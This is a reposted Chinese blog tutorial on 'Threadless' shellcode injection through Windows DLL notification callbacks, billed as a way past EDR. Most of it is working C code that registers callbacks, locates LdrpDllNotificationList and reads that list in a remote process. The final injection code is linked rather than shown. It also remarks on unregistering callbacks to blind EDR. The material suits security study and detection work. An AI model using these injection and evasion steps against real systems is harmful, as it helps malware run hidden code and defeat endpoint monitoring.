经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置：技术经验 » 程序设计 » ASP.net » 查看文章
玄 - 利用DLL通知回调函数注入shellcode（上）
来源：cnblogs　　作者：zha0gongz1　　时间：2023/8/18 9:28:30　　对本文有异议

序

偶然看到某国外大佬发布新技术-“Threadless”进程注入技术，据说可过EDR（确实可），总结该技术原理 - 在远程目标进程中利用DLL通知回调机制执行shellcode，项目地址在这里。

传统进程注入四步法：

  • 获取远程进程句柄（OpenProcess函数）
  • 在远程进程中分配内存（VirtualAllocEx函数）
  • 将shellcode复制到远程进程中新分配的内存页中（WriteProcessMemory函数）
  • 在远程进程中创建线程执行shellcode（CreateRemoteThread函数）

杀毒软件和EDR产品已经学会通过快速查找这四步操作来概括并检测进程注入。

针对第四步执行shellcode方式，@CCob与@Kudaes相继提出新加载技术 - ThreadlessInject。原理上基本一致，Hook并修改远程进程中线程创建与销毁过程中DLL加载的入口点，进而加载我们的shellcode。下面我们逐步剖析学习一下该技术手段。

什么是DLL Notification Callbacks？

在 Windows 操作系统中，当一个 DLL（动态链接库）被加载或卸载时，系统会调用一个预先注册的回调函数来通知应用程序。在Windows用户态下，通常使用LdrRegisterDllNotification函数来注册回调函数。

ps:Windows中除了通过上述API函数注册回调函数，还有PsSetLoadImageNotifyRoutine函数，该函数允许驱动程序注册一个回调函数，当驱动程序映像或用户映像（DLL、EXE）被映射到虚拟内存中时，系统会调用此回调函数。注意，PsSetLoadImageNotifyRoutine函数只能在内核态下使用

很遗憾，在微软官方文档中没有关于LdrDllNotification函数的详细资料，只有大致介绍


LdrDllNotification函数简介

ps:通常，一些EDR产品也是使用此函数在用户态下从加载DLL事件中获取监测数据。在@onlymalware截取的这段代码中，可以看到作为攻击方，应如何在自己的进程中取消注册所有LdrDllNotification回调函数，从而限制EDR从我们的进程中收集样本数据。

回归正题，LdrRegisterDllNotification函数方法没有相关联的头文件，但是可以通过LoadLibrary和GetProcAddress进行导入。


另外，通过查阅@modexp文章了解到，还需要自己实现函数及其所有相关数据结构，以下是构造的简单示例代码：

  1. #include <Windows.h>
  2. #include <stdio.h>
  4. typedef struct _UNICODE_STR
  5. {
  6.     USHORT Length;
  7.     USHORT MaximumLength;
  8.     PWSTR pBuffer;
  9. } UNICODE_STR, * PUNICODE_STR;
  12. typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA {
  13.     ULONG           Flags;             // Reserved.
  14.     PUNICODE_STR FullDllName;       // The full path name of the DLL module.
  15.     PUNICODE_STR BaseDllName;       // The base file name of the DLL module.
  16.     PVOID           DllBase;           // A pointer to the base address for the DLL in memory.
  17.     ULONG           SizeOfImage;       // The size of the DLL image, in bytes.
  18. } LDR_DLL_LOADED_NOTIFICATION_DATA, * PLDR_DLL_LOADED_NOTIFICATION_DATA;
  20. typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA {
  21.     ULONG           Flags;             // Reserved.
  22.     PUNICODE_STR FullDllName;       // The full path name of the DLL module.
  23.     PUNICODE_STR BaseDllName;       // The base file name of the DLL module.
  24.     PVOID           DllBase;           // A pointer to the base address for the DLL in memory.
  25.     ULONG           SizeOfImage;       // The size of the DLL image, in bytes.
  26. } LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA;
  28. typedef union _LDR_DLL_NOTIFICATION_DATA {
  29.     LDR_DLL_LOADED_NOTIFICATION_DATA   Loaded;
  30.     LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded;
  31. } LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA;
  33. typedef VOID(CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION)(
  34.     ULONG                       NotificationReason,
  35.     PLDR_DLL_NOTIFICATION_DATA  NotificationData,
  36.     PVOID                       Context);
  38. typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
  39.     LIST_ENTRY                     List;
  40.     PLDR_DLL_NOTIFICATION_FUNCTION Callback;
  41.     PVOID                          Context;
  42. } LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;
  44. typedef NTSTATUS(NTAPI* _LdrRegisterDllNotification) (
  45.     ULONG                          Flags,
  46.     PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,
  47.     PVOID                          Context,
  48.     PVOID* Cookie);
  50. typedef NTSTATUS(NTAPI* _LdrUnregisterDllNotification)(PVOID Cookie);
  53. // 回调函数
  54. VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
  55. {
  56.     printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
  57. }
  59. int main()
  60. {
  61.     // 获取NTDLL句柄
  62.     HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
  64.     if (hNtdll != NULL) {
  66.         // 找到 LdrUnregisterDllNotification函数地址
  67.         _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
  69.         // 将MyCallback函数注册为 DLL 通知回调
  70.         PVOID cookie;
  71.         NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
  72.         if (status == 0) {
  73.             printf("[+] Successfully registered callback\n");
  74.         }
  75.         
  76.         //字符中断
  77.         printf("[+] Press enter to continue\n");
  78.         getchar();
  80.         // 加载其他dll来触发回调函数
  81.         printf("[+] Loading USER32 DLL now\n");
  82.         LoadLibraryA("USER32.dll");
  83.     }
  84. }

ps：普及下基础知识，为什么要获取ntdll.dll的句柄？是为了找到 LdrRegisterDllNotification 函数的地址，有且只有 ntdll.dll 库中有 LdrRegisterDllNotification 函数。

运行截图：

上述代码作用大致解释为利用LoadLibraryA("USER32.dll") 加载 USER32.dll 库，触发 DLL 通知回调函数，也就是上面注册的 MyCallback 函数。MyCallback函数将打印出 DLL 的基本名称。

注册自定义回调函数

在当前进程中操纵注册自己的DLL通知回调函数，首先要找到它在内存中的位置。 查阅函数定义，获取的唯一返回值（除了 NTSTATUS）是一个指向Cookie的指针，与LdrUnregisterDllNotification的Cookie一样（LdrUnregisterDllNotification函数是帮助我们删除特定的回调函数）。

关于Cookie指针的解释：Cookie指针实际上是一个指向LDR_DLL_NOTIFICATION_ENTRY的指针，它保存了与我们注册的回调函数相关的所有数据，包括指向回调函数本身的指针和指向回调函数上下文的指针（在本例中未使用）。 _LDR_DLL_NOTIFICATION_ENTRY还包含一个LIST_ENTRY结构，该结构指向进程中注册的其余回调函数。

：）继续普及基础知识：进程中已注册的所有回调函数都存储在LdrpDllNotificationList（双向链表）中，并通过指向上一个和下一个回调的LIST_ENTRY结构体链接在一起。当一个 DLL 被加载或卸载时，系统会遍历这个链表，并调用其中的每个回调函数，以通知应用程序有关 DLL 加载或卸载的信息。这个链表中的每个节点都是一个 LDR_DLL_NOTIFICATION_ENTRY 类型的结构体，它包含两个成员：List 和 NotificationFunction。其中，List 是一个 LIST_ENTRY 类型的结构体，用于将节点链接到链表中。NotificationFunction 是一个指向回调函数的指针，它指定了当 DLL 加载或卸载时要调用的函数。

完整流程解释：在当前进程中使用 LdrRegisterDllNotification 函数注册一个 DLL 通知回调函数时，这个函数会在 LdrpDllNotificationList 链表中添加一个新节点，并将其 NotificationFunction 成员设置为自定义的回调函数。当 DLL 加载或卸载时，系统会遍历这个双向链表，并调用其中的每个回调函数。

这类似于 PEB 中InMemoryOrderModuleList的双向链表，当我们想避免调用GetModuleHandle和GetProcAddress时，有时会尝试通过这个方法来查找已加载的 DLL 和导出的函数。需要注意的是“LdrpDllNotificationList”的头部位于 NTDLL 的 .data 部分。

掌握这些前置知识，就可以注册一些 DLL 通知回调，将Cookie指针指向LDR_DLL_NOTIFICATION_ENTRY结构体，然后顺序遍历双向链表即可。

  1. VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
  2. {
  3.     printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
  4. }
  6. //添加第二个回调函数
  7. VOID MySecondCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
  8. {
  9.     printf("[MySecondCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
  10. }
  12. int main()
  13. {
  14.     // 获取NTDLL句柄
  15.     HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
  17.     if (hNtdll != NULL) {
  19.         // 找到 LdrUnregisterDllNotification函数地址
  20.         _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
  22.         // 将MyCallback函数注册为 DLL 通知回调
  23.         PVOID cookie;
  24.         NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
  25.         if (status == 0) {
  26.             printf("[+] Successfully registered first callback\n");
  27.         }
  29.         // 注册第二个回调函数
  30.         status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MySecondCallback, NULL, &cookie);
  31.         if (status == 0) {
  32.             printf("[+] Successfully registered second callback\n");
  33.         }
  35.         // 列出当前进程的DLL通知列表回调
  36.         printf("[+] DLL Notification List:\n");
  38.         // The head of the list is the next link in the chain 
  39.         // since our callback is the last callback in the list
  40.         PLIST_ENTRY head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
  41.         PLDR_DLL_NOTIFICATION_ENTRY entry = (PLDR_DLL_NOTIFICATION_ENTRY)head;
  42.         do {
  43.             // 打印LDR_DLL_NOTIFICATION_ENTRY及其回调函数的地址
  44.             printf("    %p -> %p\n", entry, entry->Callback);
  46.             // Iterate to the next callback in the list
  47.             entry = (PLDR_DLL_NOTIFICATION_ENTRY)entry->List.Flink;
  48.         } while ((PLIST_ENTRY)entry != head); // 当我们再次遍历到列表的头部时停止
  50.         printf("\n");
  52.     }
  53. }

在上面的代码中，我们注册了两个不同的 DLL 通知回调函数，然后迭代双向链表，同时打印列表中的每个entry条目。

运行结果如图：

注：由于 USER32.dll 库依赖于其他 DLL 库，所以在加载 USER32.dll 库时，也会同时加载它所依赖的其他 DLL 库。这些 DLL 库也会触发 DLL 通知回调函数，并打印出它们的基本名称到控制台。因此，在您提供的输出结果中，除了 USER32.dll 的基本名称之外，还打印出了其他 DLL 库的基本名称。

操刀NTDLL注册回调函数

掌握了如何在进程中迭代 LdrpDllNotificationList（双向链表），我们需要一种方法来可靠地找到列表的头部。

  1. // 回调函数
  2. VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
  3. {
  4.     return;
  5. }
  7. // 获取 LdrpDllNotificationList头部地址
  8. PLIST_ENTRY GetDllNotificationListHead() {
  9.     PLIST_ENTRY head = 0;
  11.     // 获取NTDLL句柄
  12.     HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
  14.     if (hNtdll != NULL) {
  16.         // 找到LdrRegisterDllNotification函数
  17.         _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
  19.         // 找到 LdrUnregisterDllNotification函数
  20.         _LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification");
  22.         // 将回调函数注册为 DLL 通知回调
  23.         PVOID cookie;
  24.         NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
  25.         if (status == 0) {
  26.             printf("[+] Successfully registered dummy callback\n");
  28.             // Cookie is the last callback registered so its Flink holds the head of the list.
  29.             head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
  30.             printf("[+] Found LdrpDllNotificationList head: %p\n", head);
  32.             // 卸载回调函数
  33.             status = pLdrUnregisterDllNotification(cookie);
  34.             if (status == 0) {
  35.                 printf("[+] Successfully unregistered dummy callback\n");
  36.             }
  37.         }
  38.     }
  40.     return head;
  41. }

一开始，我认为刚刚注册的回调函数会在双向链表的最后一个条目中，然后双向链表的头地址必然位于其 List.Flink 指针中，因为在双向链表中最后一个条目应该始终指向第一个条目，从而关闭某种循环。虽然上述代码可以运行，但它会出现条件竞争问题，即另一个线程也可能在我们获取到指向list头部的指针前注册自己的DLL通知回调。

船到桥头自然直，请注意运行输出结果的第一个条目和第二个条目的地址，链表（又名LdrpDllNotificationList）的头部位于完全不同的内存空间中。 如果查看这部分内存空间，会发现它恰好在 NTDLL 的 .data 数据段上。 因此，为了准确无误地获取 LdrpDllNotificationList 的头部，我们在迭代链表时，首次发现 NTDLL .data 部分的内存范围内有一个条目时就停止，下一节给出问题解决前后的运行对比图，代码请自行实现。

初探远程进程精准操刀

常规操作远程目标进程 - ReadProcessMemory/NtreadVirtualMemory读内存，OpenProcess/NtOpenProcess获取进程句柄，但是我们从哪里开始读取呢？

答：LdrpDllNotificationList头地址位于 NTDLL 的 .data 数据段中，而每个进程都会从磁盘上一模一样的加载 NTDLL.dll，因此 LdrpDllNotificationList头地址也是位于每个进程中的相同位置（相对于 NTDLL 的基地址）。

所以，先在自己当前进程中检查NTDLL的基址，再获取内存中LdrpDllNotificationList头地址，计算出偏移量同时获取目标进程的NTDLL基准地址，最后在远程目标进程中将相同的偏移量累加至NTDLL基址上，即可获取到远程进程的LdrpDllNotificationList头地址，演示代码如下：

  1. #include <Windows.h>
  2. #include <stdio.h>
  3. #include "nt.h"
  4. #include <cstdint>
  6. // Our callback function
  7. VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
  8. {
  9.     return;
  10. }
  12. PLIST_ENTRY GetDllNotificationListHead() {
  13.     PLIST_ENTRY head = 0;
  15.     // 获取NTDLL句柄
  16.     HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
  18.     if (hNtdll != NULL) {
  20.         // find LdrRegisterDllNotification function
  21.         _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
  23.         // find LdrUnregisterDllNotification function
  24.         _LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification");
  26.         // Register our dummy callback function as a DLL Notification Callback
  27.         PVOID cookie;
  28.         NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
  29.         if (status == 0) {
  30.             printf("[+] Successfully registered dummy callback\n");
  32.             // Cookie is the last callback registered so its Flink holds the head of the list.
  33.             head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
  34.             printf("[+] Found LdrpDllNotificationList head: %p\n", head);
  36.             // Unregister our dummy callback function
  37.             status = pLdrUnregisterDllNotification(cookie);
  38.             if (status == 0) {
  39.                 printf("[+] Successfully unregistered dummy callback\n");
  40.             }
  41.         }
  42.     }
  44.     return head;
  45. }
  47. LPVOID GetNtdllBase(HANDLE hProc) {
  49.     // find NtQueryInformationProcess function
  50.     NtQueryInformationProcess pNtQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress((HMODULE)GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
  52.     // Get the PEB of the remote process
  53.     PROCESS_BASIC_INFORMATION info;
  54.     NTSTATUS status = pNtQueryInformationProcess(hProc, ProcessBasicInformation, &info, sizeof(info), 0);
  55.     ULONG_PTR ProcEnvBlk = (ULONG_PTR)info.PebBaseAddress;
  57.     // Read the address pointer of the remote Ldr
  58.     ULONG_PTR ldrAddress = 0;
  59.     BOOL res = ReadProcessMemory(hProc, ((char*)ProcEnvBlk + offsetof(_PEB, pLdr)), &ldrAddress, sizeof(ULONG_PTR), nullptr);
  61.     // Read the address of the remote InLoadOrderModuleList head
  62.     ULONG_PTR ModuleListAddress = 0;
  63.     res = ReadProcessMemory(hProc, ((char*)ldrAddress + offsetof(PEB_LDR_DATA, InLoadOrderModuleList)), &ModuleListAddress, sizeof(ULONG_PTR), nullptr);
  65.     // Read the first LDR_DATA_TABLE_ENTRY in the remote InLoadOrderModuleList
  66.     LDR_DATA_TABLE_ENTRY ModuleEntry = { 0 };
  67.     res = ReadProcessMemory(hProc, (LPCVOID)ModuleListAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr);
  69.     LIST_ENTRY* ModuleList = (LIST_ENTRY*)&ModuleEntry;
  70.     WCHAR name[1024];
  71.     ULONG_PTR nextModuleAddress = 0;
  73.     LPWSTR sModuleName = (LPWSTR)L"ntdll.dll";
  75.     // Start the forloop with reading the first LDR_DATA_TABLE_ENTRY in the remote InLoadOrderModuleList
  76.     for (ReadProcessMemory(hProc, (LPCVOID)ModuleListAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr);
  77.         // Stop when we reach the last entry
  78.         (ULONG_PTR)(ModuleList->Flink) != ModuleListAddress;
  79.         // Read the next entry in the list
  80.         ReadProcessMemory(hProc, (LPCVOID)nextModuleAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr))
  81.     {
  83.         // Zero out the buffer for the dll name
  84.         memset(name, 0, sizeof(name));
  86.         // Read the buffer of the remote BaseDllName UNICODE_STRING into the buffer "name"
  87.         ReadProcessMemory(hProc, (LPCVOID)ModuleEntry.BaseDllName.pBuffer, &name, ModuleEntry.BaseDllName.Length, nullptr);
  89.         // Check if the name of the current module is ntdll.dll and if so, return the DllBase address
  90.         if (wcscmp(name, sModuleName) == 0) {
  91.             return (LPVOID)ModuleEntry.DllBase;
  92.         }
  94.         // Otherwise, set the nextModuleAddress to point for the next entry in the list
  95.         ModuleList = (LIST_ENTRY*)&ModuleEntry;
  96.         nextModuleAddress = (ULONG_PTR)(ModuleList->Flink);
  97.     }
  98.     return 0;
  99. }
  101. void PrintDllNotificationList(HANDLE hProc, LPVOID remoteHeadAddress) {
  102.     printf("\n");
  103.     printf("[+] Remote DLL Notification Block List:\n");
  105.     // Allocate memory buffer for LDR_DLL_NOTIFICATION_ENTRY
  106.     BYTE* entry = (BYTE*)malloc(sizeof(LDR_DLL_NOTIFICATION_ENTRY));
  108.     // Read the head entry from the remote process
  109.     ReadProcessMemory(hProc, remoteHeadAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
  110.     LPVOID currentEntryAddress = remoteHeadAddress;
  111.     do {
  113.         // print the addresses of the LDR_DLL_NOTIFICATION_ENTRY and its callback function
  114.         printf("    0x%p -> 0x%p\n", currentEntryAddress, ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->Callback);
  116.         // Get the address of the next callback in the list
  117.         currentEntryAddress = ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->List.Flink;
  119.         // Read the next callback in the list
  120.         ReadProcessMemory(hProc, currentEntryAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
  122.     } while ((PLIST_ENTRY)currentEntryAddress != remoteHeadAddress); // Stop when we reach the head of the list again
  124.     free(entry);
  126.     printf("\n");
  127. }
  129. int main()
  130. {
  131.     // Get local LdrpDllNotificationList head address
  132.     LPVOID localHeadAddress = (LPVOID)GetDllNotificationListHead();
  133.     printf("[+] Local LdrpDllNotificationList head address: 0x%p\n", localHeadAddress);
  135.     // Get local NTDLL base address
  136.     HANDLE hNtdll = GetModuleHandleA("NTDLL.dll");
  137.     printf("[+] Local NTDLL base address: %p\n", hNtdll);
  139.     // calculate the offset of LdrpDllNotificationList from NTDLL base
  140.     int64_t offsetFromBase = (BYTE*)localHeadAddress - (BYTE*)hNtdll;
  141.     printf("[+] LdrpDllNotificationList offset from NTDLL base: 0x%IX\n", offsetFromBase);
  143.     // Open handle to remote process
  144.     HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4764);
  145.     printf("[+] Got handle to remote process\n");
  147.     // Get remote NTDLL base address
  148.     LPVOID remoteNtdllBase = GetNtdllBase(hProc);
  149.     LPVOID remoteHeadAddress = (BYTE*)remoteNtdllBase + offsetFromBase;
  150.     printf("[+] Remote LdrpDllNotificationList head address 0x%p\n", remoteHeadAddress);
  152.     // Print the remote Dll Notification List
  153.     PrintDllNotificationList(hProc, remoteHeadAddress);
  155. }

问题解决前后运行对比图

操刀远程进程弹计算器

上一节只是读取了远程目标进程的双向链表，这节编写代码操纵目标进程内存执行shellcode。但是，首先依然需要深入了解LDR_DLL_NOTIFICATION_ENTRY结构体，特别是其LIST_ENTRY的属性。

  1. typedef struct _LIST_ENTRY {
  2.    struct _LIST_ENTRY *Flink;
  3.    struct _LIST_ENTRY *Blink;
  4. } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
  6. typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
  7.     LIST_ENTRY                     List;
  8.     PLDR_DLL_NOTIFICATION_FUNCTION Callback;
  9.     PVOID                          Context;
  10. } LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;

每个_LDR_DLL_NOTIFICATION_ENTRY条目都有一个属性 List，而 List属性本身就是一个LIST_ENTRY类型的结构，继续套娃，LIST_ENTRY又有两个属性：

  • 1.Flink（Forward Link,前向链），保存指向list中下一个entry条目的指针
  • 2.Blink（Backward Link,后向链），保存指向list中上一个entry条目的指针

当使用LdrRegisterDllNotification注册回调函数时，实际调用过程如下：

1.为新创建的entry条目分配一个新的 LDR_DLL_NOTIFICATION_ENTRY 结构
2.设置Callback属性为指向我们自定义的回调函数
3.设置Context属性为指向所提供的上下文（如果有的话）
4.设置List.Blink属性为指向LdrpDllNotificationList中最后一个LDR_DLL_NOTIFICATION_ENTRY条目
5.更改在LdrpDllNotificationList中最后一个 LDR_DLL_NOTIFICATION_ENTRY 条目的List.Flink属性为指向我们新创建的entry条目
6.设置List.Flink属性为指向LdrpDllNotificationList的头部（双向链表中的最后一个链接应始终指向列表的头部）。
7.更改LdrpDllNotificationList头的List.Blink属性为指向我们新创建的条目

这是关于双向链接列表的演示图，不过有一点区别是，在我们的示例中，列表的头部和尾部也连接起来，这就是所谓的循环双向链表。

最终的演示代码在这里，编译时需要自己手动填写shellcode并改写目标进程的PID。

结果图如下，在最终代码中，注入新创建的LDR_DLL_NOTIFICATION_ENTRY到远程进程中，触发执行调用calc的shellcode。


本文到此已经初步阐明该技术手段的基本原理，后续进一步了解如何利用该技术手段调试执行恶意shellcode，请期待《利用DLL通知回调函数注入shellcode（下）》（因为我还没写完...）

参考链接：
DLL Notification Injection

原文链接：https://www.cnblogs.com/zha0gongz1/p/17633377.html

 友情链接：直通硅谷 　点职佳 　北美留学生论坛

ASP.net热门文章

  • 【Dotnet 工具箱】WPF UI - 现代化设计的开源 WPF 框架
  • net core 使用 SqlSugar
  • .NETCore下CI/CD之自动化测试
  • .net core部署到linux可能碰到的问题
  • Abp vNext 自定义 Ef Core 仓储引发异常
  • .NetCore 消息队列的使用
  • .NetCore WebApi——基于JWT的简单身份认证与授权（Swagger）
  • Abp.NHibernate连接PostgreSQl数据库
  • ModelValidator基于元数据的验证
  • .NET MAUI 安卓应用开发初体验

    • ASP.net推荐文章

  • Gradio.NET 支持 .NET 8 简化 Web 应用开发
  • .NET 轻量化定时任务调度 FreeScheduler
  • WPF 模仿前端大佬写一个Hover效果
  • WPF 模拟UWP原生窗口样式——亚克力|云母材质、自定义标题栏样式、原生DWM动画 （附我封装好的类）
  • .NET 音频采集
  • .NET8 Blazor 从入门到精通：（三）类库和表单
  • wpf 如何7步写一个badge控件
  • .NET 高效Nuget管理工具（开源）
  • .NET 8 跨平台高性能边缘采集网关
  • .NET 窗口/屏幕录制

    • 本站QQ群：前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

    W3xue 的所有内容仅供测试，对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
    关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接（目前9元/月）请联系QQ：27243702 沸活量
    皖ICP备17017327号-2　皖公网安备34020702000426号